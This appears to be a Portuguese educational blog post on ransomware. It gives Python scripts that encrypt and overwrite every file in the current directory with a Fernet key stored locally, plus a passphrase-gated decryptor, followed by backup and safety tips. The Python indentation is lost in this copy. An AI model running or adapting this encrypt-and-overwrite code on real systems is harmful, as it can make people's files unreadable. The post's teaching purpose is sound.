
Introdução
Você já ouviu falar em ransomware? Esse tipo de ataque cibernético se tornou um dos mais comuns e perigosos dos últimos tempos. No post de hoje, vamos entender como ele funciona por trás dos panos — com um exemplo simples em Python — e como você pode se proteger.
O que é um Ransomware?
Um ransomware é um tipo de malware que sequestra os dados da vítima por meio de criptografia. O atacante exige um resgate (geralmente em criptomoeda) para devolver o acesso aos arquivos. Em muitos casos, mesmo pagando, a vítima não recebe a chave de descriptografia.
Como funciona tecnicamente?
- O atacante cria um programa que:
- Vasculha o diretório à procura de arquivos.
- Criptografa os arquivos com uma chave gerada na hora.
- Salva a chave num local escondido ou remoto.
- Exclui os arquivos originais e deixa uma mensagem de resgate.
- A vítima, ao executar o programa, tem todos os seus arquivos tornados ilegíveis. Só com a chave correta será possível recuperá-los.
Exemplo em Python
Atenção: Este exemplo é apenas educativo! Não use esse código para fins maliciosos.
malware.py – Criptografando os arquivos
#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
files = []
for file in os.listdir():
if file in ("malware.py", "thekey.key", "decrypt.py"):
continue
if os.path.isfile(file):
files.append(file)
print("Encrypted files:", files)
key = Fernet.generate_key()
with open("thekey.key", "wb") as thekey:
thekey.write(key)
for file in files:
with open(file, "rb") as thefile:
content = thefile.read()
content_encrypted = Fernet(key).encrypt(content)
with open(file, "wb") as thefile:
thefile.write(content_encrypted)
print("All your files have been encrypted!")
O que esse código faz?
- Gera uma chave de criptografia com
Fernet. - Ignora arquivos importantes do próprio script.
- Criptografa todos os arquivos do diretório atual e sobrescreve os originais.
Como descriptografar os arquivos?
decrypt.py – Descriptografando
import os
from cryptography.fernet import Fernet
files = []
for file in os.listdir():
if file in ("malware.py", "thekey.key", "decrypt.py"):
continue
if os.path.isfile(file):
files.append(file)
with open("thekey.key", "rb") as key_file:
secretkey = key_file.read()
passphrase = "M4nu4ld0Pr0gr4m4d0r" # senha definida pelo "atacante"
user_input = input("Enter the password to decrypt your files: ")
if user_input == passphrase:
for file in files:
with open(file, "rb") as thefile:
content = thefile.read()
decrypted = Fernet(secretkey).decrypt(content)
with open(file, "wb") as thefile:
thefile.write(decrypted)
print("Files successfully decrypted.")
else:
print("Wrong password. Access denied.")
O que você aprendeu aqui?
- Como funciona a criptografia de arquivos com
Fernet. - Como é simples automatizar isso em um script.
- Que a segurança digital é responsabilidade de todos nós.
Alerta: uso ético e legal
Esse exemplo foi apresentado somente para fins educacionais, com o objetivo de conscientizar sobre a importância da cibersegurança. Utilizar esse tipo de script para prejudicar outras pessoas é crime previsto em lei.
Como se proteger?
- Nunca execute arquivos desconhecidos.
- Faça backup regular dos seus dados.
- Mantenha o sistema e antivírus sempre atualizados.
Parabéns Davi pela disponibilidade de ajudar as pessoas com seus conhecimentos!
Que venham novos posts.
Sucesso!